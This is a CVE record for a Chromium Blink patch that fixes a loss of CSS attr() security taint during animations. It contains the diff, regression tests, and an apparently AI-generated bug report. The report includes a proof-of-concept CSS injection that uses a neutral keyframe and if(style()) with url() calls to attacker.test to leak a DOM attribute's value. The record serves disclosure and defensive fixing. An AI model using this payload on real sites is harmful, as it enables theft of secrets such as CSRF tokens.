CVE-2026-113128
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/animation/css_default_interpolation_type.cc |
modified | |
CORE_EXPORTthird_party/blink/renderer/core/animation/css_default_interpolation_type.h |
modified | |
ifthird_party/blink/renderer/core/animation/css_interpolation_environment.cc |
modified | |
cascade_resolver_third_party/blink/renderer/core/animation/css_interpolation_environment.h |
modified | |
animation_controls_style_third_party/blink/renderer/core/animation/css_interpolation_environment.h |
modified | |
ResolvedVariableCheckerthird_party/blink/renderer/core/animation/css_interpolation_type.cc |
modified | |
keyframe_tree_scope_third_party/blink/renderer/core/animation/css_interpolation_type.cc |
modified | |
initial_value_third_party/blink/renderer/core/animation/css_interpolation_type.cc |
modified | |
inherited_data_third_party/blink/renderer/core/animation/css_interpolation_type.cc |
modified | |
ifthird_party/blink/renderer/core/animation/css_interpolation_type.cc |
modified | |
ResolvedRegisteredCustomPropertyCheckerthird_party/blink/renderer/core/animation/css_interpolation_type.cc |
modified |
Files Changed
third_party/blink/renderer/core/animation/css_default_interpolation_type.ccthird_party/blink/renderer/core/animation/css_interpolation_environment.hthird_party/blink/renderer/core/animation/transition_interpolation.ccthird_party/blink/renderer/core/animation/css_var_cycle_interpolation_type.hthird_party/blink/renderer/core/animation/primitive_interpolation.hthird_party/blink/web_tests/external/wpt/css/css-values/attr-security-animation.htmlthird_party/blink/renderer/core/animation/invalidatable_interpolation.ccthird_party/blink/renderer/core/animation/css_interpolation_environment.ccthird_party/blink/renderer/core/animation/typed_interpolation_value.hthird_party/blink/renderer/core/animation/interpolation_type.hthird_party/blink/renderer/core/animation/pairwise_interpolation_value.hthird_party/blink/renderer/core/animation/css_interpolation_type.hthird_party/blink/renderer/core/animation/transition_keyframe.ccthird_party/blink/renderer/core/animation/css_default_interpolation_type.hthird_party/blink/renderer/core/animation/css/css_animations_test.ccthird_party/blink/renderer/core/animation/css/css_animations.ccthird_party/blink/renderer/core/animation/css_interpolation_type.ccthird_party/blink/renderer/core/animation/interpolation_value.hthird_party/blink/renderer/core/css/resolver/style_cascade.ccthird_party/blink/renderer/core/animation/css_var_cycle_interpolation_type.cc
Patch
From 3f1126bf1bf68444c40fd12897a4cdd3be91b15a Mon Sep 17 00:00:00 2001 From: Kevin Ellis <[email protected]> Date: Tue, 15 Sep 2026 12:03:42 -0700 Subject: [PATCH] [css-animation]: Fix tracking of attr-taint Attr-taint was being tracked in CSSInterpolationEnvironment and in CSSDefaultInterpolationValue, for transition and non-transition cases, respectively. For CSS Animations, the taint may be caught after creating of the environment and passing as a const reference to the interpolation code. In addition, the signature of the resolve method suggests the same environment may be shared. It was not, and this is now clarified by baking the PropertyHandle into the environment. Whether the value is tainted or not is now stored directly in the interpolation value. This addresses both constness of the environment and consolidation of the code paths. Thanks to Yoshisato Yanagisawa for the prototype patch, which served as a basis for this patch including tests. Bug: 537109293 Change-Id: Ie5ced2263c5bc64a333ba47422e3552c3a965afa Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8405230 Reviewed-by: Rune Lillesveen <[email protected]> Commit-Queue: Kevin Ellis <[email protected]> Cr-Commit-Position: refs/heads/main@{#1698281} --- diff --git a/third_party/blink/renderer/core/animation/css/css_animations.cc b/third_party/blink/renderer/core/animation/css/css_animations.cc index e3527d5a..5135d8e 100644 --- a/third_party/blink/renderer/core/animation/css/css_animations.cc +++ b/third_party/blink/renderer/core/animation/css/css_animations.cc @@ -2643,9 +2643,9 @@ } InterpolationTypesMap map(registry, state.animating_element.GetDocument()); - CSSInterpolationEnvironment old_environment(map, *state.before_change_style, - after_change_style); - CSSInterpolationEnvironment new_environment(map, after_change_style, + CSSInterpolationEnvironment old_environment( + property, map, *state.before_change_style, after_change_style); + CSSInterpolationEnvironment new_environment(property, map, after_change_style, after_change_style); const InterpolationType* transition_type = nullptr; InterpolationValue start = nullptr; @@ -2734,14 +2734,12 @@ } start = InterpolationValue( MakeGarbageCollected<InterpolableList>(0), - MakeGarbageCollected<CSSDefaultNonInterpolableValue>( - start_css_value, - CSSDefaultNonInterpolableValue::AttrTainted(is_attr_tainted))); + MakeGarbageCollected<CSSDefaultNonInterpolableValue>(start_css_value), + is_attr_tainted); end = InterpolationValue( MakeGarbageCollected<InterpolableList>(0), - MakeGarbageCollected<CSSDefaultNonInterpolableValue>( - end_css_value, - CSSDefaultNonInterpolableValue::AttrTainted(is_attr_tainted))); + MakeGarbageCollected<CSSDefaultNonInterpolableValue>(end_css_value), + is_attr_tainted); } // If the interpolated transform lists contain any singular matrices, a @@ -2803,18 +2801,18 @@ MakeGarbageCollected<TransitionKeyframe>(property); start_keyframe->SetValue(MakeGarbageCollected<TypedInterpolationValue>( transition_type, start.interpolable_value->Clone(), - start.non_interpolable_value)); + start.non_interpolable_value, start.is_attr_tainted || is_attr_tainted)); start_keyframe->SetOffset(0); - start_keyframe->SetIsAttrTainted(is_attr_tainted); + start_keyframe->SetIsAttrTainted(start.is_attr_tainted || is_attr_tainted); keyframes.push_back(start_keyframe); TransitionKeyframe* end_keyframe = MakeGarbageCollected<TransitionKeyframe>(property); end_keyframe->SetValue(MakeGarbageCollected<TypedInterpolationValue>( transition_type, end.interpolable_value->Clone(), - end.non_interpolable_value)); + end.non_interpolable_value, end.is_attr_tainted || is_attr_tainted)); end_keyframe->SetOffset(1); - end_keyframe->SetIsAttrTainted(is_attr_tainted); + end_keyframe->SetIsAttrTainted(end.is_attr_tainted || is_attr_tainted); keyframes.push_back(end_keyframe); if (property.GetCSSProperty().IsCompositableProperty() && diff --git a/third_party/blink/renderer/core/animation/css_default_interpolation_type.cc b/third_party/blink/renderer/core/animation/css_default_interpolation_type.cc index c4b90bfe..a05c79a 100644 --- a/third_party/blink/renderer/core/animation/css_default_interpolation_type.cc +++ b/third_party/blink/renderer/core/animation/css_default_interpolation_type.cc @@ -7,15 +7,15 @@ #include "third_party/blink/renderer/core/animation/css_interpolation_environment.h" #include "third_party/blink/renderer/core/animation/string_keyframe.h" #include "third_party/blink/renderer/core/animation/underlying_value_owner.h" +#include "third_party/blink/renderer/core/css/css_unparsed_declaration_value.h" #include "third_party/blink/renderer/core/css/css_unset_value.h" #include "third_party/blink/renderer/core/css/resolver/style_builder.h" namespace blink { CSSDefaultNonInterpolableValue::CSSDefaultNonInterpolableValue( - const CSSValue* css_value, - AttrTainted is_attr_tainted) - : css_value_(css_value), is_attr_tainted_(is_attr_tainted) { + const CSSValue* css_value) + : css_value_(css_value) { DCHECK(css_value_); } @@ -35,7 +35,7 @@ return nullptr; } - css_value = environment.Resolve(GetProperty(), css_value, tree_scope); + css_value = environment.Resolve(css_value, tree_scope); if (!css_value) { // Custom property cycle. CSSDefaultInterpolationType *must* succeed // at creating a value (for non-neutral keyframes), since this @@ -48,10 +48,18 @@ css_value = cssvalue::CSSUnsetValue::Create(); } + bool is_attr_tainted = false; + if (const auto* unparsed = + DynamicTo<CSSUnparsedDeclarationValue>(css_value)) { + if (unparsed->VariableDataValue()) { + is_attr_tainted = unparsed->VariableDataValue()->IsAttrTainted(); + } + } + return InterpolationValue( MakeGarbageCollected<InterpolableList>(0), - MakeGarbageCollected<CSSDefaultNonInterpolableValue>( - css_value, CSSDefaultNonInterpolableValue::AttrTainted(false))); + MakeGarbageCollected<CSSDefaultNonInterpolableValue>(css_value), + is_attr_tainted); } void CSSDefaultInterpolationType::Composite( @@ -65,14 +73,14 @@ void CSSDefaultInterpolationType::Apply( const InterpolableValue&, const NonInterpolableValue* non_interpolable_value, - CSSInterpolationEnvironment& environment) const { + CSSInterpolationEnvironment& environment, + bool is_attr_tainted) const { DCHECK( To<CSSDefaultNonInterpolableValue>(non_interpolable_value)->CssValue()); CSSProperty::ValueModeFlags value_mode_flags = static_cast<CSSProperty::ValueModeFlags>( CSSProperty::ValueMode::kAnimated); - if (To<CSSDefaultNonInterpolableValue>(non_interpolable_value) - ->IsAttrTainted()) { + if (is_attr_tainted) { value_mode_flags |= static_cast<CSSProperty::ValueModeFlags>( CSSProperty::ValueMode::kAttrTainted); } diff --git a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h index f0184af..4f22e961 100644 --- a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h +++ b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h @@ -14,9 +14,7 @@ class CORE_EXPORT CSSDefaultNonInterpolableValue final : public NonInterpolableValue { public: - using AttrTainted = base::StrongAlias<class AttrTaintedTag, bool>; - explicit CSSDefaultNonInterpolableValue(const CSSValue*, - AttrTainted is_attr_tainted); + explicit CSSDefaultNonInterpolableValue(const CSSValue*); ~CSSDefaultNonInterpolableValue() final = default; void Trace(Visitor* visitor) const override { @@ -26,15 +24,10 @@ const CSSValue* CssValue() const { return css_value_.Get(); } - bool IsAttrTainted() const { return is_attr_tainted_; } - DECLARE_NON_INTERPOLABLE_VALUE_TYPE(); private: Member<const CSSValue> css_value_; - // Interpolable types (e.g., <number>) are handled via TransitionKeyframe and - // CSSInterpolationEnvironment::IsAttrTainted() instead. - bool is_attr_tainted_; }; template <> @@ -86,7 +79,8 @@ void Apply(const InterpolableValue&, const NonInterpolableValue*, - CSSInterpolationEnvironment&) const final; + CSSInterpolationEnvironment&, + bool is_attr_tainted = false) const final; }; } // namespace blink diff --git a/third_party/blink/renderer/core/animation/css_interpolation_environment.cc b/third_party/blink/renderer/core/animation/css_interpolation_environment.cc index 860cc91..fecb2703 100644 --- a/third_party/blink/renderer/core/animation/css_interpolation_environment.cc +++ b/third_party/blink/renderer/core/animation/css_interpolation_environment.cc @@ -12,7 +12,6 @@ namespace blink { const CSSValue* CSSInterpolationEnvironment::Resolve( - const PropertyHandle& property, const CSSValue* value, const TreeScope* tree_scope) const { DCHECK(cascade_); @@ -21,7 +20,7 @@ // TODO: If we support env() within @keyframe, we may need to support // non-nullptr env_bindings here. const CSSValue* resolved_value = - cascade_->Resolve(property.GetCSSPropertyName(), *value, tree_scope, + cascade_->Resolve(property_.GetCSSPropertyName(), *value, tree_scope, /*env_bindings=*/nullptr, CascadeOrigin::kAnimation, *cascade_resolver_); if (resolved_value) { diff --git a/third_party/blink/renderer/core/animation/css_interpolation_environment.h b/third_party/blink/renderer/core/animation/css_interpolation_environment.h index 28d983d..d61e9e4 100644 --- a/third_party/blink/renderer/core/animation/css_interpolation_environment.h +++ b/third_party/blink/renderer/core/animation/css_interpolation_environment.h @@ -6,6 +6,7 @@ #define THIRD_PARTY_BLINK_RENDERER_CORE_ANIMATION_CSS_INTERPOLATION_ENVIRONMENT_H_ #include "third_party/blink/renderer/core/animation/interpolation_types_map.h" +#include "third_party/blink/renderer/core/animation/property_handle.h" #include "third_party/blink/renderer/core/css/resolver/style_resolver_state.h" #include "third_party/blink/renderer/platform/wtf/allocator/allocator.h" @@ -19,28 +20,35 @@ STACK_ALLOCATED(); public: - CSSInterpolationEnvironment(const InterpolationTypesMap& map, + CSSInterpolationEnvironment(const PropertyHandle& property, + const InterpolationTypesMap& map, StyleResolverState& state, StyleCascade* cascade, CascadeResolver* cascade_resolver) - : interpolation_types_map_(map), + : property_(property), + interpolation_types_map_(map), state_(&state), base_style_(state.StyleBuilder().GetBaseComputedStyle()), animation_controls_style_(base_style_), cascade_(cascade), cascade_resolver_(cascade_resolver) {} - CSSInterpolationEnvironment(const InterpolationTypesMap& map, + CSSInterpolationEnvironment(const PropertyHandle& property, + const InterpolationTypesMap& map, StyleResolverState& state) - : interpolation_types_map_(map), state_(&state) {} + : property_(property), interpolation_types_map_(map), state_(&state) {} - CSSInterpolationEnvironment(const InterpolationTypesMap& map, + CSSInterpolationEnvironment(const PropertyHandle& property, + const InterpolationTypesMap& map, const ComputedStyle& base_style, const ComputedStyle& animation_controls_style) - : interpolation_types_map_(map), + : property_(property), + interpolation_types_map_(map), base_style_(&base_style), animation_controls_style_(&animation_controls_style) {} + const PropertyHandle& GetProperty() const { return property_; } + const InterpolationTypesMap& GetInterpolationTypesMap() const { return interpolation_types_map_; } @@ -76,26 +84,16 @@ // (if any). // // TODO(crbug.com/985023): This effective violates const. - const CSSValue* Resolve(const PropertyHandle&, - const CSSValue*, - const TreeScope*) const; - - // Set by the caller of InterpolationType::Apply when one of the values - // being interpolated originated from attr(), so that the applied value can - // be marked as attr-tainted. - bool IsAttrTainted() const { return is_attr_tainted_; } - void SetIsAttrTainted(bool is_attr_tainted) { - is_attr_tainted_ = is_attr_tainted; - } + const CSSValue* Resolve(const CSSValue*, const TreeScope*) const; private: + PropertyHandle property_; const InterpolationTypesMap& interpolation_types_map_; StyleResolverState* state_ = nullptr; const ComputedStyle* base_style_ = nullptr; const ComputedStyle* animation_controls_style_ = nullptr; StyleCascade* cascade_ = nullptr; CascadeResolver* cascade_resolver_ = nullptr; - bool is_attr_tainted_ = false; }; } // namespace blink diff --git a/third_party/blink/renderer/core/animation/css_interpolation_type.cc b/third_party/blink/renderer/core/animation/css_interpolation_type.cc index 7bebe923..fe343d3b 100644 --- a/third_party/blink/renderer/core/animation/css_interpolation_type.cc +++ b/third_party/blink/renderer/core/animation/css_interpolation_type.cc @@ -61,7 +61,7 @@ bool IsValid(const CSSInterpolationEnvironment& environment, const InterpolationValue&) const final { const CSSValue* resolved_value = - environment.Resolve(property_, unresolved_value_, keyframe_tree_scope_); + environment.Resolve(unresolved_value_, keyframe_tree_scope_); return base::ValuesEquivalent(resolved_value_.Get(), resolved_value); } @@ -73,12 +73,10 @@ class ResolvedVariableChecker : public CSSInterpolationType::ConversionChecker { public: - ResolvedVariableChecker(CSSPropertyID property, - const CSSValue* variable_reference, + ResolvedVariableChecker(const CSSValue* variable_reference, const CSSValue* resolved_value, const TreeScope* keyframe_tree_scope) - : property_(property), - variable_reference_(variable_reference), + : variable_reference_(variable_reference), resolved_value_(resolved_value), keyframe_tree_scope_(keyframe_tree_scope) {} @@ -95,12 +93,10 @@ // TODO(alancutter): Just check the variables referenced instead of doing a // full CSSValue resolve. const CSSValue* resolved_value = - environment.Resolve(PropertyHandle(CSSProperty::Get(property_)), - variable_reference_, keyframe_tree_scope_); + environment.Resolve(variable_reference_, keyframe_tree_scope_); return base::ValuesEquivalent(resolved_value_.Get(), resolved_value); } - CSSPropertyID property_; Member<const CSSValue> variable_reference_; Member<const CSSValue> resolved_value_; Member<const TreeScope> keyframe_tree_scope_; @@ -112,16 +108,19 @@ InheritedCustomPropertyChecker(const AtomicString& name, bool is_inherited_property, const CSSValue* inherited_value, - const CSSValue* initial_value) + const CSSValue* initial_value, + const CSSVariableData* inherited_data) : name_(name), is_inherited_property_(is_inherited_property), inherited_value_(inherited_value), - initial_value_(initial_value) {} + initial_value_(initial_value), + inherited_data_(inherited_data) {} void Trace(Visitor* visitor) const final { CSSInterpolationType::ConversionChecker::Trace(visitor); visitor->Trace(inherited_value_); visitor->Trace(initial_value_); + visitor->Trace(inherited_data_); } private: @@ -132,13 +131,19 @@ if (!inherited_value) { inherited_value = initial_value_.Get(); } - return base::ValuesEquivalent(inherited_value_.Get(), inherited_value); + if (!base::ValuesEquivalent(inherited_value_.Get(), inherited_value)) { + return false; + } + const CSSVariableData* inherited_data = + state.ParentStyle()->GetVariableData(name_, is_inherited_property_); + return base::ValuesEquivalent(inherited_data_.Get(), inherited_data); } AtomicString name_; const bool is_inherited_property_; Member<const CSSValue> inherited_value_; Member<const CSSValue> initial_value_; + Member<const CSSVariableData> inherited_data_; }; class ResolvedRegisteredCustomPropertyChecker @@ -161,7 +166,7 @@ bool IsValid(const CSSInterpolationEnvironment& environment, const InterpolationValue&) const final { const CSSValue* resolved = - environment.Resolve(property_, value_, keyframe_tree_scope_); + environment.Resolve(value_, keyframe_tree_scope_); CSSVariableData* resolved_tokens = nullptr; if (const auto* decl = DynamicTo<CSSUnparsedDeclarationValue>(resolved)) { resolved_tokens = decl->VariableDataValue(); @@ -202,9 +207,8 @@ private: bool IsValid(const CSSInterpolationEnvironment& environment, const InterpolationValue&) const final { - const CSSValue* current_resolved_value = ... (file diff truncated)
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/animation/css/css_animations_test.cc b/third_party/blink/renderer/core/animation/css/css_animations_test.cc
index 04039f8a..5130160 100644
--- a/third_party/blink/renderer/core/animation/css/css_animations_test.cc
+++ b/third_party/blink/renderer/core/animation/css/css_animations_test.cc
@@ -3612,4 +3612,327 @@
EXPECT_TRUE(source.has_untracked_dependencies);
}
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyNeutralKeyframe) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @keyframes hold {
+ to { --n: 0; }
+ }
+ #target {
+ --n: attr(data-value type(<number>));
+ animation: hold 1000s linear paused;
+ }
+ #control {
+ --n: 42;
+ animation: hold 1000s linear paused;
+ }
+ </style>
+ <div id="target" data-value="42"></div>
+ <div id="control"></div>
+ )HTML");
+
+ Element* target = GetDocument().getElementById(AtomicString("target"));
+ EXPECT_TRUE(target);
+ const CSSVariableData* target_data =
+ target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(target_data);
+ if (target_data) {
+ EXPECT_TRUE(target_data->IsAttrTainted());
+ }
+
+ Element* control = GetDocument().getElementById(AtomicString("control"));
+ EXPECT_TRUE(control);
+ const CSSVariableData* control_data =
+ control
+ ? control->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(control_data);
+ if (control_data) {
+ EXPECT_FALSE(control_data->IsAttrTainted());
+ }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyNeutralEndKeyframe) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @keyframes hold_end {
+ from { --n: 0; }
+ }
+ #target {
+ --n: attr(data-value type(<number>));
+ animation: hold_end 1000s linear paused;
+ }
+ #control {
+ --n: 42;
+ animation: hold_end 1000s linear paused;
+ }
+ </style>
+ <div id="target" data-value="42"></div>
+ <div id="control"></div>
+ )HTML");
+
+ Element* target = GetDocument().getElementById(AtomicString("target"));
+ EXPECT_TRUE(target);
+ const CSSVariableData* target_data =
+ target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(target_data);
+ if (target_data) {
+ EXPECT_TRUE(target_data->IsAttrTainted());
+ }
+
+ Element* control = GetDocument().getElementById(AtomicString("control"));
+ EXPECT_TRUE(control);
+ const CSSVariableData* control_data =
+ control
+ ? control->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(control_data);
+ if (control_data) {
+ EXPECT_FALSE(control_data->IsAttrTainted());
+ }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyKeyframeValue) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @keyframes anim {
+ from { --n: attr(data-value type(<number>)); }
+ to { --n: 100; }
+ }
+ #target {
+ animation: anim 1000s linear paused;
+ }
+ </style>
+ <div id="target" data-value="42"></div>
+ )HTML");
+
+ Element* target = GetDocument().getElementById(AtomicString("target"));
+ EXPECT_TRUE(target);
+ const CSSVariableData* data =
+ target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(data);
+ if (data) {
+ EXPECT_TRUE(data->IsAttrTainted());
+ }
+}
+
+TEST_P(CSSAnimationsTest,
+ AttrTaintedRegisteredPropertyVariableReferenceKeyframe) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @keyframes anim_var {
+ from { --n: var(--src); }
+ to { --n: 100; }
+ }
+ #target {
+ --src: attr(data-value type(<number>));
+ animation: anim_var 1000s linear paused;
+ }
+ </style>
+ <div id="target" data-value="42"></div>
+ )HTML");
+
+ Element* target = GetDocument().getElementById(AtomicString("target"));
+ EXPECT_TRUE(target);
+ const CSSVariableData* data =
+ target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(data);
+ if (data) {
+ EXPECT_TRUE(data->IsAttrTainted());
+ }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyCompositionAdd) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @keyframes add_anim {
+ from { --n: 0; }
+ to { --n: 0; }
+ }
+ #target {
+ --n: attr(data-value type(<number>));
+ animation: add_anim 1000s linear paused;
+ animation-composition: add;
+ }
+ </style>
+ <div id="target" data-value="42"></div>
+ )HTML");
+
+ Element* target = GetDocument().getElementById(AtomicString("target"));
+ EXPECT_TRUE(target);
+ const CSSVariableData* data =
+ target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(data);
+ if (data) {
+ EXPECT_TRUE(data->IsAttrTainted());
+ }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyLength) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --p {
+ syntax: "<length>";
+ inherits: false;
+ initial-value: 0px;
+ }
+ @keyframes hold_length {
+ to { --p: 0px; }
+ }
+ #target {
+ --p: attr(data-value type(<length>));
+ animation: hold_length 1000s linear paused;
+ }
+ </style>
+ <div id="target" data-value="42px"></div>
+ )HTML");
+
+ Element* target = GetDocument().getElementById(AtomicString("target"));
+ EXPECT_TRUE(target);
+ const CSSVariableData* data =
+ target ? target->GetComputedStyle()->GetVariableData(AtomicString("--p"))
+ : nullptr;
+ EXPECT_TRUE(data);
+ if (data) {
+ EXPECT_TRUE(data->IsAttrTainted());
+ }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedInheritedRegisteredProperty) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --n {
+ syntax: "<number>";
+ inherits: true;
+ initial-value: 0;
+ }
+ @keyframes hold_inherit {
+ from { --n: inherit; }
+ to { --n: 100; }
+ }
+ #parent {
+ --n: attr(data-value type(<number>));
+ }
+ #target {
+ animation: hold_inherit 1000s linear paused;
+ }
+ </style>
+ <div id="parent" data-value="42">
+ <div id="target"></div>
+ </div>
+ )HTML");
+
+ Element* target = GetDocument().getElementById(AtomicString("target"));
+ EXPECT_TRUE(target);
+ const CSSVariableData* data =
+ target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(data);
+ if (data) {
+ EXPECT_TRUE(data->IsAttrTainted());
+ }
+}
+
+TEST_P(CSSAnimationsTest, ReplaceAnimationWithoutAttrDoesNotTaint) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @keyframes replace_anim {
+ from { --n: 10; }
+ to { --n: 20; }
+ }
+ #target {
+ --n: attr(data-value type(<number>));
+ animation: replace_anim 1000s linear paused;
+ }
+ </style>
+ <div id="target" data-value="42"></div>
+ )HTML");
+
+ Element* target = GetDocument().getElementById(AtomicString("target"));
+ EXPECT_TRUE(target);
+ const CSSVariableData* data =
+ target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+ : nullptr;
+ EXPECT_TRUE(data);
+ if (data) {
+ EXPECT_FALSE(data->IsAttrTainted());
+ }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedStyleQueryUrlBlocking) {
+ SetBodyInnerHTML(R"HTML(
+ <style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @keyframes hold {
+ to { --n: 0; }
... (truncated)
Original Bug Report
Bypass of CSS attr() security taint via CSS Animations on registered custom properties
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential logic flaw in Blink’s CSS animation system allows the security taint of attr() values to be bypassed. When an animation on a registered custom property depends on the underlying base style (such as via neutral keyframes or animation-composition: add), the taint is not propagated through InvalidatableInterpolation. This can potentially allow an attacker with a CSS injection primitive to exfiltrate sensitive DOM attribute values using conditional style queries and url() fetches.
Affected files:
third_party/blink/renderer/core/animation/invalidatable_interpolation.ccthird_party/blink/renderer/core/animation/css_interpolation_type.ccthird_party/blink/renderer/core/css/properties/longhands/custom_property.cc
Estimated timestamp from git blame: 2024-09-23
Potential Security Bypass of CSS attr() Taint via InvalidatableInterpolation and Neutral Keyframes
Summary
We have identified a potential vulnerability in Blink’s CSS animation engine that permits the laundering of the CSS attr() security-taint bit. The attr() taint mechanism (defined in CSS Values Level 5) is designed to prevent CSS injection attacks from exfiltrating sensitive DOM attributes (such as CSRF tokens or nonces) by restricting attr() usage within url() contexts. However, when an animation uses the underlying base-style value via neutral keyframes (missing from or to rules) or animation-composition: add, the taint state is potentially lost, enabling unauthorized data exfiltration via static CSS.
Note: These are potential steps and behaviors identified via static source code analysis; our automated tooling does not currently have the capability to execute and run the code to produce a live proof-of-concept.
Technical Details & Root Cause
When resolving registered custom properties, the computed value is stored in two representations on ComputedStyle:
CSSVariableData: Holds unparsed/substituted tokens, which retains theIsAttrTainted()state (defined inthird_party/blink/renderer/core/css/css_variable_data.h).CSSValue: Holds the parsed typed representation (e.g.,CSSNumericLiteralValuefor<number>syntax), which lacks any taint propagation flag.
During style cascades containing CSS animations, StyleCascade::Apply executes two passes:
- Base pass: Parses
--n: attr(data-secret type(<number>)), correctly setting theIsAttrTainted()flag on itsCSSVariableData. - Animated pass: Applies animations via
InvalidatableInterpolation::ApplyStack(third_party/blink/renderer/core/animation/invalidatable_interpolation.cc:322).
The Laundering Flow:
- If an animation on the registered custom property
--ndepends on the underlying base-style value (e.g., due to a neutral keyframe oranimation-composition: add),DependsOnUnderlyingValue()returnstrue(seeinvalidatable_interpolation.cc:118-121). ApplyStackresolves the underlying value viafirst_interpolation.MaybeConvertUnderlyingValue(environment).CSSInterpolationType::MaybeConvertUnderlyingValue(third_party/blink/renderer/core/animation/css_interpolation_type.cc:414-428) retrieves the base-style’s value:This retrieves the typed, untaintedconst CSSValue* underlying_value = style.GetVariableValue(name, Registration().Inherits());CSSValuerepresentation (the loop-hole).- A fresh
CSSInterpolationEnvironmentis created with its defaultis_attr_tainted_flag set tofalse. UnlikeTransitionInterpolation::Apply, which explicitly plumbs the transition’s taint viaenvironment.SetIsAttrTainted(),InvalidatableInterpolation::ApplyStackdoes not set the environment’s taint. - When
CSSInterpolationType::ApplyCustomPropertyValueexecutes,environment.IsAttrTainted()returnsfalse, soStyleBuilder::ApplyPropertyis invoked without theValueMode::kAttrTaintedflag. - Consequently,
CustomProperty::ApplyValuecreates a brand newCSSVariableDatarepresenting the same numeric value but withis_attr_tainted = false, overwriting the previously tainted base data. - Subsequently, any conditional logic evaluating the custom property (such as CSS
if()style functions) reads the newly animated, untainted variable data, allowing associatedurl()rules to pass the parsing gate atcss_parsing_utils.cc:2020and trigger an outbound HTTP fetch.
Potential Steps to Reproduce
An attacker leveraging a CSS injection vulnerability on a target page with <div data-secret="7193"> could potentially run the following attack sequence:
- Define a registered
<number>property:@property --n { syntax: "<number>"; inherits: false; initial-value: 0; } - Configure a paused CSS animation with a neutral keyframe:
@keyframes hold { to { --n: 0; } } - Attach the animation and the
attr()-derived property to the target element:[data-secret] { --n: attr(data-secret type(<number>)); animation: hold 1e9s paused; background-image: if(style(--n > 5000): url(https://attacker.test/gt); else: url(https://attacker.test/lte)); } - Upon style computation, the base value is read, the animation composites onto it (washing away the taint), and the conditional rule evaluates
--nas untainted. The browser then executes theurl()request, exfiltrating the comparative state of the attribute value.
Suggested Fix
To prevent the loss of the attr() taint flag in InvalidatableInterpolation:
- Retrieve and check the base style’s
CSSVariableDatafor taint inCSSInterpolationType::MaybeConvertUnderlyingValue():const CSSVariableData* underlying_data = style.GetVariableData(name, Registration().Inherits()); bool is_underlying_tainted = underlying_data && underlying_data->IsAttrTainted(); - Propagate the taint status through the active
CSSInterpolationEnvironmentwhen applying invalidatable interpolations. If any of the active interpolations or the base style value are tainted, ensureenvironment.SetIsAttrTainted(true)is called prior to executing property builders.
Evaluated with Chrome root at commit: bf775e5d75cb9e1767e2cd02cc93efa0077d14a5
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.